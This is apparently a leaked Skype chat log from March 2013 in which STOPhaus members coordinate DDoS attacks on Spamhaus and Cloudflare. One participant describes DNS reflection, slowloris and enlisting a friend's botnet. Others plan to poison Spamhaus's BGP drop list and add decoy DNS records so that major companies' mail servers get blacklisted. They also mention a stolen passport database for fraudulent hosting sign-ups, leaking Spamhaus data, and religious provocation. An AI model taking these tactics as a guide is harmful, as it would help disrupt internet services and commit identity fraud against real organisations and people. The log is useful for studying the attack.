3916[20.03.2013 00:17:50] Cali: but you know that they can find the source of the attack also?
3917[20.03.2013 00:17:58] narko: with DNS reflection?
3918[20.03.2013 00:18:06] Cali: ah it is DNS reflection :D
3919[20.03.2013 00:18:10] narko: yes
3920[20.03.2013 00:18:21] narko: i wonder why they are referencing my nameservers in this post
3921[20.03.2013 00:18:24] narko: http://www.spamhaus.org/sbl/query/SBL179380
3922[20.03.2013 00:18:30] narko: the site doesn't use my nameservers any more
3923[20.03.2013 00:18:34] narko: also they didn't remove the SBL on my site
3924[20.03.2013 00:18:45] Antitheist: they wont remove ROKSO
3925[20.03.2013 00:18:52] narko: im not on ROKSO
3926[20.03.2013 00:18:56] Antitheist: its their "gold" of pimping those shitlists
3927[20.03.2013 00:19:04] Antitheist: not you, your cusotmer
3928[20.03.2013 00:19:15] narko: yes but I was SBLed for hosting the dns
3929[20.03.2013 00:19:23] narko: and they won't remove the SBL even after I stopped hosting the DNS
3930[20.03.2013 00:19:54] Antitheist: whats the DNS sbl?
3931[20.03.2013 00:20:01] narko: they SBLed my site
3932[20.03.2013 00:20:02] narko: not my DNS
3933[20.03.2013 00:20:18] Antitheist: they are really after eDataKing today
3934[20.03.2013 00:20:31] narko: http://www.spamhaus.org/sbl/query/SBL179322 this
3935[20.03.2013 00:20:46] narko: they won't remove it
3936[20.03.2013 00:20:48] narko: one moemnt
3937[20.03.2013 00:20:52] narko: I will pasteh their reason for not removing it
3938[20.03.2013 00:20:56] eDataKing: narko, did the thing go right 15 mins ago?
3939[20.03.2013 00:20:58] Antitheist: well yeah they wont
3940[20.03.2013 00:21:04] eDataKing: I was out
3941[20.03.2013 00:21:08] Antitheist: ROKSO clients (even if resolved) are not removed
3942[20.03.2013 00:21:10] Antitheist: dunno why
3943[20.03.2013 00:21:11] narko: You are harbouring a known ROKSO spammer
3944[20.03.2013 00:21:29] eDataKing: and that means what exactly?
3945[20.03.2013 00:21:33] eDataKing: They say that like it means something
3946[20.03.2013 00:21:37] Antitheist: eDataKing soon you are going to ROKSO top 10 )))
3947[20.03.2013 00:22:05] eDataKing: lol, f em\
3948[20.03.2013 00:22:16] narko: from my host:
3949[20.03.2013 00:22:19] eDataKing: Maybe they'll put me right under Severa lol
3950[20.03.2013 00:22:23] narko:
3951Unfortunately our hands are tied. Spamhaus tell us that you are harbouring a known ROKSO spammer, we're not happy to be associated with this as it affects other clients whom have no control on the situation.
3952
3953As such I'm afraid you will need to move this client from our network within the next 24hrs or we will have to interrupt service.
3954[20.03.2013 00:22:24] Antitheist: they list every IP/DNS that resolves stophaus in any way
3955[20.03.2013 00:22:31] narko:
3956Please update us when this client no longer utilises *any* part of our network so we can get back in touch with Spamhaus.
3957[20.03.2013 00:22:35] Antitheist: we can change it every hour and block the entire internet lol
3958[20.03.2013 00:22:47] narko: They do not understand the word "THIS CLIENT HAS NOTHING TO DO WITH YOUR NETWORK"
3959[20.03.2013 00:22:53] narko: they treat it like it's a request from law enforcement
3960[20.03.2013 00:22:56] narko: not some moron on a boat
3961[20.03.2013 00:23:04] eDataKing: right
3962[20.03.2013 00:23:13] eDataKing: and this is the reason we fight...
3963[20.03.2013 00:30:25] narko: http://www.spamhaus.org/sbl/query/SBL179380
3964[20.03.2013 00:30:32] narko: in this yandex blacklist they made a mistake
3965[20.03.2013 00:30:38] narko: typed /32 when they want to type /24 or more
3966[20.03.2013 00:30:39] narko: :P
3967[20.03.2013 00:30:58] narko: now they banned an ip that isn't even used for anything
3968[20.03.2013 00:33:13] Antitheist: we need to use that against them
3969[20.03.2013 00:33:25] Antitheist: make them list rambler/yandex/mail.ru MTAs
3970[20.03.2013 00:33:44] narko: who uses spamhaus anyway?
3971[20.03.2013 00:33:46] narko: yahoo and no one else?
3972[20.03.2013 00:33:51] Antitheist: spamassasin
3973[20.03.2013 00:33:54] eDataKing: I have tried this isn't ground-breaking. What is is that people now see that I was not a loon the whole time
3974[20.03.2013 00:34:37] narko: if i had dynamic ip would host it on my home-server because my isp doesnt give a shit about anything
3975[20.03.2013 00:34:52] narko: but i have static and don't want permanant associatnss with this
3976[20.03.2013 00:34:55] eDataKing: thus far they have no proof that STOPhaus.comis related to Stophaus.org
3977[20.03.2013 00:35:29] eDataKing: They have no reason not to believe that someone, maybe multiple people, were listening for those years. Maybe they were...ever think that way lol
3978[20.03.2013 00:35:41] eDataKing: maybe they were already feeling the same way
3979[20.03.2013 00:35:53] eDataKing: maybe Spamhaus has so many victims that it could be anyone
3980[20.03.2013 00:36:06] eDataKing: but not everyone has a ROKSO file to immediately SBL on-site
3981[20.03.2013 00:36:32] narko: when do I get my ROKSO file for hosting the dns? :D
3982[20.03.2013 00:36:34] eDataKing: so they take the only shred of connection (the name) and they attribute it to me. If it were scamhaus or anything else, they would have still done the same thing.
3983[20.03.2013 00:36:44] eDataKing: you will, be patient
3984[20.03.2013 00:36:47] eDataKing: they are writting it now I am sure
3985[20.03.2013 00:37:02] narko: Location: Unknown
3986Name: Unknown
3987Address
3988Po box #
3989[20.03.2013 00:37:04] narko: lol
3990[20.03.2013 00:37:06] eDataKing: they ROKSOed a 17 year old High School student for writing Mail Mascot
3991[20.03.2013 00:37:25] narko: why is your name on mail mascot?
3992[20.03.2013 00:37:26] narko: the entry is
3993[20.03.2013 00:37:29] narko: andrew / mail mascot
3994[20.03.2013 00:38:09] eDataKing: When Eric was ROKSOed he came to me and asked if I wanted to take over the project. I took it and made it more compliant and released DP Mailer
3995[20.03.2013 00:38:16] narko: lol
3996[20.03.2013 00:38:18] eDataKing: DP Mailer is not spammer-friendly tbh
3997[20.03.2013 00:38:34] eDataKing: I just wanted to maintain the rotation of IPs Mail Mascot allowed
3998[20.03.2013 00:38:39] narko: if they saw some of the software i wrote i'd have 20 entries on the rokso :D :D
3999[20.03.2013 00:38:45] eDataKing: because of the SH filters directly
4000[20.03.2013 00:38:53] eDataKing: then they created the CSS to combat Mail Mascot
4001[20.03.2013 00:39:00] eDataKing: and DP Mailer got past that
4002[20.03.2013 00:39:06] eDataKing: so they got REAL mad
4003[20.03.2013 00:39:15] narko: (facepalm)
4004[20.03.2013 00:39:51] narko: isn't he married with kids?
4005[20.03.2013 00:39:54] eDataKing: then I released a press release about a plugin for wordpress that allows someone to create thousands of blogs and add an opt-in widget to some and a widget to sell the opt-ins on others
4006[20.03.2013 00:40:01] eDataKing: like an out of the box newsletter company
4007[20.03.2013 00:40:03] narko: where does he have the time to find every ip related to this site?
4008[20.03.2013 00:40:18] eDataKing: who knows
4009[20.03.2013 00:41:33] eDataKing: my guess is all those nanae volunteers
4010[20.03.2013 00:41:39] eDataKing: there are a few of them
4011[20.03.2013 00:42:02] narko: well one of them can't tell the difference between /32 and /24
4012[20.03.2013 00:42:08] eDataKing: Rick Scott and Rune Persson supply most of the data about my sites
4013[20.03.2013 00:43:14] eDataKing: Rune Persson does on his smear blog atusenetharvested.com
4014[20.03.2013 00:43:28] eDataKing: he tracks and blocks IPs well, but he's a joke really
4015[20.03.2013 00:43:37] narko: lol
4016[20.03.2013 00:43:49] eDataKing: and Rick Scott does all the records checks
4017[20.03.2013 00:44:23] eDataKing: Rick Scott is a nym however, it seems
4018[20.03.2013 00:45:38] eDataKing: as you can see. He is a nut.
4019[20.03.2013 00:46:04] eDataKing: Obviously I covered my face in the videos he pointed out, but he wanted to make me look like I had no reason to be in costume.
4020[20.03.2013 00:46:16] narko: well i have no idea what you talking about
4021[20.03.2013 00:46:34] eDataKing: He is simply smearing for the purpose of defaming the opposition.
4022[20.03.2013 00:46:40] eDataKing: lol
4023[20.03.2013 00:46:45] eDataKing: don't worry about it
4024[20.03.2013 00:46:50] eDataKing: I am just bitching
4025[20.03.2013 00:47:00] Antitheist: so whats up with wordtothewise
4026[20.03.2013 00:47:02] narko: i only met you peoples on friday and never heard of most of you before then :P
4027[20.03.2013 00:47:29] eDataKing: lol, I just talk like I know everyone
4028[20.03.2013 00:47:48] eDataKing: It's better than being secretive. I get nervous around quite people.
4029[20.03.2013 00:47:59] eDataKing: I think they are plotting on me lol ;)
4030[20.03.2013 00:48:01] narko: I said too much already in this chat
4031[20.03.2013 00:48:04] narko: I'm expecting the raid soon
4032[20.03.2013 00:48:06] narko: :P
4033[20.03.2013 00:48:14] eDataKing: Yeah right
4034[20.03.2013 00:48:18] eDataKing: it's not that important
4035[20.03.2013 00:48:26] Antitheist: i hope you are all behind vpns
4036[20.03.2013 00:48:28] eDataKing: but I feel ya
4037[20.03.2013 00:48:41] narko: i hate vpn
4038[20.03.2013 00:48:44] narko: it makes the internet too slow
4039[20.03.2013 00:48:53] Antitheist: depends which
4040[20.03.2013 00:48:59] eDataKing: your hit then lol jk
4041[20.03.2013 00:49:22] narko: im running skype on remote desktop with an account registered just for this chat
4042[20.03.2013 00:49:24] narko: :P
4043[20.03.2013 00:49:56] Antitheist: i heard that sending packets written on paper using cell guards as routers is even slower than most vpns :D
4044[20.03.2013 00:50:06] narko: (yn)
4045[20.03.2013 00:50:16] narko: no i'm not going to prison
4046[20.03.2013 00:50:25] narko: if they come and take my computer i'm leaving the country the same day
4047[20.03.2013 00:51:07] eDataKing: I don't think I have actually broken a law law, but I don't even have an internet connection for all purposes.
4048[20.03.2013 00:51:26] Cali: Btw, how will cloudflare notice that the attack is toward spamhaus?
4049[20.03.2013 00:51:32] eDataKing: law law, meaning not a spamhaus law
4050[20.03.2013 00:51:42] narko: they have a paid plan
4051[20.03.2013 00:51:46] narko: it gives them dedicated IPs i think
4052[20.03.2013 00:51:54] Cali: humm
4053[20.03.2013 00:51:56] Cali: doubting.
4054[20.03.2013 00:52:10] narko: well the ips are the same as yesterday
4055[20.03.2013 00:52:15] narko: and usually cloudflare sites change ip frequtnly
4056[20.03.2013 00:52:33] eDataKing: ok, I will be gone for a bit 2 hours to do some cleaning ;)
4057[20.03.2013 00:52:39] Cali: well it is anycast
4058[20.03.2013 00:56:32] narko: what do spamhaus list the isp name as if you don't have any urls/emailaddresses in your ip whois?
4059[20.03.2013 00:57:08] Antitheist: there is always something
4060[20.03.2013 00:57:18] Antitheist: in the AS registration
4061[20.03.2013 00:57:27] Antitheist: do you have an example? will show you
4062[20.03.2013 00:58:02] narko: http://whois.domaintools.com/86.0.0.0
4063[20.03.2013 00:58:28] Antitheist: that was easy
4064[20.03.2013 00:58:28] Antitheist: remarks: report abuse towww.virginmedia.com/netreport +44 (0)1633 710142
4065[20.03.2013 00:58:35] narko: yes but search this on spamhaus
4066[20.03.2013 00:58:36] narko: there's no listings
4067[20.03.2013 00:58:36] Antitheist: in this case virginmedia.com will be listed
4068[20.03.2013 00:58:50] narko: and if they have /11 i really doubt they have no listings
4069[20.03.2013 00:59:58] Antitheist: so they are paying linfords boat expenses
4070[20.03.2013 01:00:08] narko: :D lol
4071[20.03.2013 01:00:14] narko: know anyone providing server in this dc?
4072[20.03.2013 01:00:32] Antitheist: This website is offline
4073
4074No cached version is available
4075[20.03.2013 01:00:33] Antitheist: LOL
4076[20.03.2013 01:00:47] narko: lol
4077[20.03.2013 01:00:50] narko: not working for me either
4078[20.03.2013 01:00:56] Antitheist: narko you are the king
4079[20.03.2013 01:00:59] Antitheist: haha
4080[20.03.2013 01:01:00] narko: i didnt do anything
4081[20.03.2013 01:01:03] narko: i was just attacking cloudflare
4082[20.03.2013 01:01:16] Antitheist: well, thats not something they wanted to have
4083[20.03.2013 01:01:17] narko: see now its back up :(
4084[20.03.2013 01:01:36] Cali: It is offline here.
4085[20.03.2013 01:01:44] Antitheist: off...
4086[20.03.2013 01:01:45] narko: it went down again
4087[20.03.2013 01:01:51] narko: and back
4088[20.03.2013 01:03:11] Cali: yup
4089[20.03.2013 01:04:33] narko: let's create some more records
4090[20.03.2013 01:04:36] narko: for DNS of stophaus
4091[20.03.2013 01:04:47] narko: dummy records, such as the IP of softlayer.com , etc
4092[20.03.2013 01:04:55] narko: it won't affect the site because it will just try from the next server
4093[20.03.2013 01:05:01] narko: but they're going to SBL some big sites
4094[20.03.2013 01:05:02] narko: lol
4095[20.03.2013 01:05:47] Antitheist: it will create more damage if we list MTAs
4096[20.03.2013 01:06:06] narko: ok let's see
4097[20.03.2013 01:06:20] narko:
4098Received: from mx0.slc.paypal.com (mx2.slc.paypal.com. [173.0.84.227])
4099[20.03.2013 01:06:33] narko:
4100Received: from mail-2.2co.com (mail-2.2co.com. [68.171.193.221])
4101[20.03.2013 01:06:35] Antitheist: they wont list gaypal
4102[20.03.2013 01:06:42] Antitheist: 2co worth try yes
4103[20.03.2013 01:07:23] Antitheist: also cpanel.net. 4045 IN MX 10mx2.cpanel.net.
4104cpanel.net. 4045 IN MX 0 mx1.cpanel.net.
4105[20.03.2013 01:07:29] narko: (rofl)(y)
4106[20.03.2013 01:07:49] narko: also cloudlinux.com
4107[20.03.2013 01:08:08] Antitheist: mad admins == mad steve
4108[20.03.2013 01:08:10] Antitheist: :)
4109[20.03.2013 01:08:14] narko: the owner of cloudlinux Igor Seletskiy will write to them and they will accusive him of being a russian malware gang spammer
4110[20.03.2013 01:08:17] narko: cause of his name
4111[20.03.2013 01:08:17] narko: lol
4112[20.03.2013 01:08:31] Antitheist: try habrahabr.ru ip
4113[20.03.2013 01:08:43] Antitheist: all the tech bloggers will laugh at them
4114[20.03.2013 01:09:00] Antitheist: and its in russia so its very likely to get listed lol :D
4115[20.03.2013 01:09:18] narko: half of russia is already listed with their "escalations"
4116[20.03.2013 01:10:07] narko: also BBC?
4117[20.03.2013 01:10:09] narko: and RT?
4118[20.03.2013 01:10:54] Cali: ahah it was funny to see RT listed there
4119[20.03.2013 01:11:49] narko: what about some IPs of popular usenet servers?
4120[20.03.2013 01:11:57] narko: that they're using to write to the nanae
4121[20.03.2013 01:12:23] narko:
4122There is no connection whatsoever between the recent DDoS attack and
4123spammer Andrew Jacob Stephens except in his mind. Stephens simply
4124pretends involvement in the hope others may imagine he has ability to
4125orchestrate a botnet attack, but in reality the Russian/East European
4126cybercrime gang behind the actual attack would not give a smalltime
4127wannabe hoodlum like Stephens the time of day.
4128
4129--
4130 Luciano Rossini
4131 The Spamhaus Project
4132 http://www.spamhaus.org
4133[20.03.2013 01:12:25] Antitheist: im sure they remember them so it will look phishy
4134[20.03.2013 01:13:17] Antitheist: where did he write it narko?
4135[20.03.2013 01:13:25] narko: nanae
4136[20.03.2013 01:15:27] narko: they really have no information do they
4137[20.03.2013 01:15:36] narko: they attack didn't come from russia and not from a botnet either
4138[20.03.2013 01:15:57] Antitheist: but only russians can carry out such large scale shit ;)
4139[20.03.2013 01:16:08] narko: and me!
4140[20.03.2013 01:16:14] narko: and chinese. we need some chinese with their 500gbps attacks
4141[20.03.2013 01:16:15] Antitheist: you speak russian lol
4142[20.03.2013 01:19:11] narko: where are the chinese with their huge attacks?
4143[20.03.2013 01:19:25] narko: some time ago I did hosting for gameservers
4144[20.03.2013 01:19:31] narko: you do NOT want to host gameservers for the chinese
4145[20.03.2013 01:19:37] narko: :))))
4146[20.03.2013 01:24:01] Antitheist: chinese are good with other things
4147[20.03.2013 01:24:08] Antitheist: hijacking googles BGPs
4148[20.03.2013 01:24:31] narko: ð Ѡýõ ÷ýðю руÑÂÑÂúøù ÑÂ÷ыú. у üõýѠÑÂøýôрþü турõттð, øýþóôð Ѡóþòþрю ýð øýых ÑÂ÷ыúðх.
4149[20.03.2013 01:24:55] Antitheist: ÑÂтþ ýõ ÿрþúðтøт
4150[20.03.2013 01:25:28] narko: why can we not break their BGP. so the companies that are doing paid BGP with spamhaus cannot use it ?
4151[20.03.2013 01:25:51] Antitheist: spamhaus doesnt even have their own AS
4152[20.03.2013 01:26:04] narko: then they use surfnet?
4153[20.03.2013 01:26:08] Antitheist: and if they had, no one would peer those scammers
4154[20.03.2013 01:26:11] narko: somehow they are doing bgp with people
4155[20.03.2013 01:26:21] Antitheist: where?
4156[20.03.2013 01:26:34] narko: http://www.spamhaus.org/bgpf/
4157[20.03.2013 01:26:42] Antitheist: no, thats a bgp feed
4158[20.03.2013 01:26:48] Antitheist: its a bgp droplist actually
4159[20.03.2013 01:26:54] narko: can it be broken?
4160[20.03.2013 01:27:23] Antitheist: it can be poisoned, which is what im trying to convince you guys to pull off
4161[20.03.2013 01:28:11] Antitheist: when an ISP that subscribed to that shit manages his routers using spamhaus, each SBL marked as DROP (dont route or peer list) will be nullrouted on that ISP routers
4162[20.03.2013 01:28:39] narko: why do such censorship..?
4163[20.03.2013 01:28:43] Antitheist: if we can get the internet most "important" IPs there, that would be an epic fail for spamhaus
4164[20.03.2013 01:28:49] narko: I would not use a host that is blocking on thier router
4165[20.03.2013 01:28:55] narko: blocking is for me to set up on my server how I want
4166[20.03.2013 01:30:18] Antitheist: https://www.abuse.ch/?p=3810
4167[20.03.2013 01:42:32] narko: http://www.spamhaus.org/sbl/latest/
4168[20.03.2013 01:42:34] narko: they're removing sbls
4169[20.03.2013 01:42:35] narko: but not my sbl
4170[20.03.2013 01:42:37] narko: (angry)
4171[20.03.2013 01:43:56] Antitheist: it wont get removed...
4172[20.03.2013 01:44:09] narko: but I stopped hosting the dns
4173[20.03.2013 01:44:27] Antitheist: tell it about 9432042 other sbls :)
4174[20.03.2013 01:44:31] narko: lol
4175[20.03.2013 01:44:36] narko: now i'm trying to choose a new dc
4176[20.03.2013 01:44:41] narko: i think pin spb my main choice ;)
4177[20.03.2013 01:45:52] narko: or even leaseweb
4178[20.03.2013 02:15:18] Yuri: i am just back
4179[20.03.2013 02:15:21] Yuri: was sleeping
4180[20.03.2013 02:15:35] narko: ok
4181[20.03.2013 02:15:45] narko: cloudflare isnt nullrouting the ip
4182[20.03.2013 02:15:53] narko: i added some slowloris as well
4183[20.03.2013 02:15:58] narko: its a little slower but not down
4184[20.03.2013 02:16:53] narko: aaaaah a change :)
4185[20.03.2013 02:16:57] narko: Cloudflare changed the ips
4186[20.03.2013 02:16:59] narko: put only 2 IPs now
4187[20.03.2013 02:17:05] narko: will move attack to these IPs
4188[20.03.2013 02:18:24] narko: also I have a friend with a small botnet. I asked him to contribute
4189[20.03.2013 02:19:45] Yuri: i see.
4190[20.03.2013 02:19:59] Yuri: i asked some hackers to assist also
4191[20.03.2013 02:20:31] narko: my friend is in saudi arabia. he has bots in arab regions. will provide some diversity to the attack.
4192[20.03.2013 02:20:52] Yuri: spamhaus sbl site is the high end of iceberg
4193[20.03.2013 02:21:11] Yuri: did you try to put down spamhas relates sites?
4194[20.03.2013 02:21:23] narko: after spamhaus.org main site :))
4195[20.03.2013 02:21:55] narko: i am just getting very annoyed at this company now
4196[20.03.2013 02:22:08] narko: i just received 2 minutes ago "We are sorry to inform that your account has been terminated." from my host.
4197[20.03.2013 02:22:14] narko: due to SBL
4198[20.03.2013 02:22:43] Yuri: on what host?
4199[20.03.2013 02:22:52] narko: EuroVPS.com
4200[20.03.2013 02:23:02] Yuri: write me pm what do you need
4201[20.03.2013 03:13:26] narko: lets host here
4202[20.03.2013 03:13:38] narko:http://www.beltelecom.by/business/hosting/virtual-dedicated-server
4203[20.03.2013 03:13:45] narko: i dont think they can even speak english. to read the abuse report from spamhaus. :D
4204[20.03.2013 03:14:03] Cali: lol
4205[20.03.2013 03:14:39] Yuri: he....
4206[20.03.2013 03:14:49] Yuri: lucashenko would be glad to hear about spamhaus
4207[20.03.2013 03:14:52] Cali: You can host your shit at Yuri.
4208[20.03.2013 03:15:11] Cali: :D
4209[20.03.2013 03:15:16] narko: i have a legitimate site
4210[20.03.2013 03:15:22] narko: but spamhaus just dont like me any more
4211[20.03.2013 03:15:23] narko: lol
4212[20.03.2013 03:15:34] Yuri: let do that. let's list all belarus :))
4213[20.03.2013 03:15:55] eDataKing: belarus?
4214[20.03.2013 03:16:10] narko: the price is very reasonable.
4215[20.03.2013 03:16:16] narko: the 512MB VPS - Cost 17$
4216[20.03.2013 03:16:18] Cali: btw, I think they will ask a copy of your passport.
4217[20.03.2013 03:16:26] narko: it's ok I have a database of passports
4218[20.03.2013 03:16:41] Cali: Belarussian ones?
4219[20.03.2013 03:16:45] narko: no
4220[20.03.2013 03:16:48] narko: american and british
4221[20.03.2013 03:16:54] Antitheist: www.exoticvps.com
4222[20.03.2013 03:16:54] Cali: yeah, I don't think the ywill accept you.
4223[20.03.2013 03:17:02] Antitheist: choose a country
4224[20.03.2013 03:17:20] narko: I choose
4225[20.03.2013 03:17:26] narko: Tanzania, Africa
4226[20.03.2013 03:17:28] narko: or Uzbekistan
4227[20.03.2013 03:17:45] narko: or Azerbaijan :P there is so much Zeus servers hosted at Delta Telecom
4228[20.03.2013 03:17:58] Antitheist: sol.az
4229[20.03.2013 03:18:32] Antitheist: thats so funny, they wanted me to go to their Baku office to sign some shit
4230[20.03.2013 03:18:38] Antitheist: for a fucking 25$ vps! lol
4231[20.03.2013 03:19:01] narko: well the money you make from banking trojans hosted forever in azerbaijan is much greater than the flight cost :)))))
4232[20.03.2013 03:19:24] Antitheist: i have an idea
4233[20.03.2013 03:19:35] Antitheist: camels with 3G antennas on the back, in Azerbaijan
4234[20.03.2013 03:19:39] Antitheist: best BP hosting
4235[20.03.2013 03:19:41] narko: lol
4236[20.03.2013 03:19:50] narko: let's all hack the wifi of a neighbor. and host a proxy for the site and add all IPs into the DNS
4237[20.03.2013 03:20:34] eDataKing: how about a $50 a month unlimited plan from an anonymous prepaid android?
4238[20.03.2013 03:20:47] narko: i tried to host on my android a site
4239[20.03.2013 03:20:51] narko: the ports were not open
4240[20.03.2013 03:20:55] narko: and the IP changed every 30 seconds
4241[20.03.2013 03:20:56] eDataKing: if we can install BIND on a Droid then that may be the way to go
4242[20.03.2013 03:20:57] Antitheist: root it :)
4243[20.03.2013 03:21:05] eDataKing: I can get a rooted Galaxy tomorrow
4244[20.03.2013 03:21:12] narko: the ips chagne too often
4245[20.03.2013 03:21:17] eDataKing: oh
4246[20.03.2013 03:21:37] eDataKing: hold on, I have a solution for that
4247[20.03.2013 03:21:54] eDataKing: a VPN app or private dedicated proxy
4248[20.03.2013 03:21:59] eDataKing: like Hideman
4249[20.03.2013 03:22:03] Yuri: soon i finish discussions and write here news
4250[20.03.2013 03:22:09] narko: http://www.chinavpshosting.com/
4251[20.03.2013 03:24:14] Antitheist: lol
4252[20.03.2013 03:24:27] Antitheist: in that site, whats the skype name of support?
4253[20.03.2013 03:24:51] narko: zuzhihui
4254[20.03.2013 03:25:26] Antitheist: (in russian that means - whistling dick)
4255[20.03.2013 03:25:45] narko: doesnt matter
4256[20.03.2013 03:25:49] narko: i think it's a coincidence
4257[20.03.2013 03:26:10] Antitheist: we can host in iran, they dont care about SBL
4258[20.03.2013 03:26:12] Antitheist: r0ute.com
4259[20.03.2013 03:26:18] narko: they are norwegian
4260[20.03.2013 03:26:30] Yuri: hey. we need a section on the forum
4261[20.03.2013 03:26:39] Antitheist: who is norwegian?
4262[20.03.2013 03:26:44] Yuri: Hosters and Datacenters that don't care of spamhaus.
4263[20.03.2013 03:26:46] narko: r0ute are norwegian
4264[20.03.2013 03:26:54] Yuri: and write there all them to discuss
4265[20.03.2013 03:26:57] Antitheist: r0ute is Chris
4266[20.03.2013 03:27:03] Antitheist: but the DC is in Tehran
4267[20.03.2013 03:27:07] Yuri: so people will go and spamhaus see that it's soon be fucked off
4268[20.03.2013 03:27:09] Antitheist: 87.107.121.0/24
4269[20.03.2013 03:27:36] narko: I also know a hosting company in pakistan
4270[20.03.2013 03:27:40] Antitheist: Yuri, no hosters and datacenters have the balls to say it openly
4271[20.03.2013 03:27:42] narko: they dont speak english either
4272[20.03.2013 03:28:57] narko: but the problem with pakistan hosting
4273[20.03.2013 03:29:08] Antitheist: hosters that said they ignore spamhaus went fast into to top 10 list
4274[20.03.2013 03:29:10] narko: someone just needs to register and write on the forum "I shit on allah" and the DC will be burnt to the ground
4275[20.03.2013 03:29:29] Cali: ahah
4276[20.03.2013 03:29:34] Cali: I used that technique before too.
4277[20.03.2013 03:29:51] Antitheist: lol
4278[20.03.2013 03:30:05] Cali: I also used that on my game servers on cheaters.
4279[20.03.2013 03:30:15] Cali: I used to bind say keys on cheaters from north africa.
4280[20.03.2013 03:30:18] Cali: it was saying like "I shit on the quran"
4281[20.03.2013 03:30:32] narko: lol
4282[20.03.2013 03:30:37] Cali: so the cheater was getting humiliated by all the muslim there.
4283[20.03.2013 03:30:43] Cali: because they play in cybercafe :D
4284[20.03.2013 03:34:17] narko: steam disabled my account for ddosing people in servers :P
4285[20.03.2013 03:34:43] narko: it's their own fault for sending client IPs to everyone in the srver
4286[20.03.2013 03:35:02] Cali: Well, when steam got released I tried to activate my CD-KEY and it said that it was already used, that day I understood they should pay for that.
4287[20.03.2013 03:35:04] Yuri: hahahhaha
42882013-03-19 22:08:15 SBL179380 213.180.204.0 Offline DNS for ROKSO spammer site stophaus.com @yandex.net yandex.net RU
4289[20.03.2013 03:35:22] narko: offline dns?
4290[20.03.2013 03:35:49] eDataKing: working here
4291[20.03.2013 03:36:38] Yuri: we need reserve domain also
4292[20.03.2013 03:36:50] Yuri: stophaus.org is ok ?
4293[20.03.2013 03:36:58] Yuri: i can register it for my layer
4294[20.03.2013 03:37:06] eDataKing: there are a few already reserved
4295[20.03.2013 03:37:09] Yuri: it's more then 100% protected here
4296[20.03.2013 03:37:24] eDataKing: never had a registrar issue where they are
4297[20.03.2013 03:37:32] eDataKing: they are at a Russian registrar now
4298[20.03.2013 03:37:48] Antitheist: 3 new rokso sbls just added
4299[20.03.2013 03:37:52] Antitheist: send-safe.com
4300[20.03.2013 03:37:59] eDataKing: wow, they are mad
4301[20.03.2013 03:38:09] narko: why are they blacklisting home IPs that are already in PBL ?
4302[20.03.2013 03:38:12] narko: it's pointless?
4303[20.03.2013 03:38:17] Yuri: we need to write that issues on the blog, so all world know that
4304[20.03.2013 03:38:47] narko: this is strange
4305[20.03.2013 03:38:47] narko: check
4306[20.03.2013 03:38:50] narko: http://www.spamhaus.org/sbl/latest/
4307[20.03.2013 03:38:58] narko: SBL178830 173.164.194.68/32 comcast.net
430820-Mar 01:25 GMT Ruslan Ibragimov / send-safe.com : Systems hacked by spam-gang host send-safe.com
4309[20.03.2013 03:39:08] narko: but click "comcast.net" -- you see the listing is from 7 days ago
4310[20.03.2013 03:39:20] narko: http://www.spamhaus.org/sbl/listings/comcast.net
4311[20.03.2013 03:39:59] Antitheist: yes, they can take any SBL, mark it "rokso" and it will appear in latest
4312[20.03.2013 03:40:08] Antitheist: its sort of an escalation
4313[20.03.2013 03:40:26] narko: oh
4314[20.03.2013 03:41:43] Antitheist: SBL140176 is now on latest but listed in may 2012
4315[20.03.2013 03:41:54] Antitheist: i think they want to show that they are on the map
4316[20.03.2013 03:42:15] Yuri: tomorrow we publish all spamhaus database.
4317[20.03.2013 03:42:18] Antitheist: to every ISP, thats why this shit zombie SBL game
4318[20.03.2013 03:43:19] Antitheist: look, they did it today to level3, comcast, earthlink, etc
4319[20.03.2013 03:43:50] Yuri: we sool build connections.
4320[20.03.2013 03:44:02] Yuri: and can accept spamhaus stuff
4321[20.03.2013 03:44:18] Yuri: and have spamhaus combat here. on our field
4322[20.03.2013 03:46:57] Antitheist: but hosting in ru have an own spamhaus soon, which is sad
4323[20.03.2013 03:47:08] narko: then let's host in armenia
4324[20.03.2013 03:50:12] Yuri: ru "spamhaus" is much better becouse you can always fuck them, they are here. and they play by ruls
4325[20.03.2013 03:50:25] Yuri: they can fuck Ip but they never fuck network
4326[20.03.2013 03:50:29] Yuri: or upstrream
4327[20.03.2013 03:50:50] eDataKing: Yuri:
4328<<< tomorrow we publish all spamhaus database.beautiful
4329[20.03.2013 03:51:12] Antitheist: that means deleted sbls as well?
4330[20.03.2013 03:51:18] Yuri: yes.
4331[20.03.2013 03:51:21] eDataKing: let's get stophaus.ru then
4332[20.03.2013 03:52:04] Yuri: ok, moment.
4333[20.03.2013 03:54:58] Yuri: registration done.
4334eDataKing, please add that domain to yandex control panel for DNSsdns1.yandex.net dns2.yandex.net
4335[20.03.2013 03:55:26] eDataKing: ok
4336[20.03.2013 03:56:49] eDataKing: I am having issues accessing the control panel
4337[20.03.2013 03:56:59] eDataKing: this 3g connection is making my days hard
4338[20.03.2013 03:57:18] eDataKing: I assume it is the link on that domain?
4339[20.03.2013 03:58:45] Yuri: i ask narko to fix that.
4340[20.03.2013 04:00:43] Yuri: i send it already to pm
4341[20.03.2013 04:01:15] narko: found
4342[20.03.2013 04:09:16] Yuri: there is a plan how to do and what to do next.
4343[20.03.2013 04:09:52] Yuri: i would like to discuss it, but with the persons who is going to do something, not just sitting and watching the show.
4344[20.03.2013 11:10:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: UDP connection from 89.20.64.132:41205 to 147.102.222.241
4345query 53381: (itmpi.org.dbl.spamhaus.org, IN, A) - Received query from 89.20.64.132 to 147.102.222.241
4346;; HEADER SECTION
4347;; id = 53381
4348;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0
4349;; ra = 0 ad = 0 cd = 1 rcode = NOERROR
4350;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1
4351
4352;; QUESTION SECTION (1 record)
4353;; itmpi.org.dbl.spamhaus.org. IN A
4354
4355;; ANSWER SECTION (0 records)
4356
4357;; AUTHORITY SECTION (0 records)
4358
4359;; ADDITIONAL SECTION (1 record)
4360; EDNS Version 0 UDP Packetsize: 4096
4361; EDNS-RCODE: 0 (ONLY_RDATA)
4362; EDNS-FLAGS: 0x8000
4363
4364
4365NOERROR
4366;; id = 53381
4367;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0
4368;; ra = 0 ad = 0 cd = 1 rcode = NOERROR
4369;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0
4370
4371Writing response - done
4372Waiting for connections...
4373Waiting for connections...
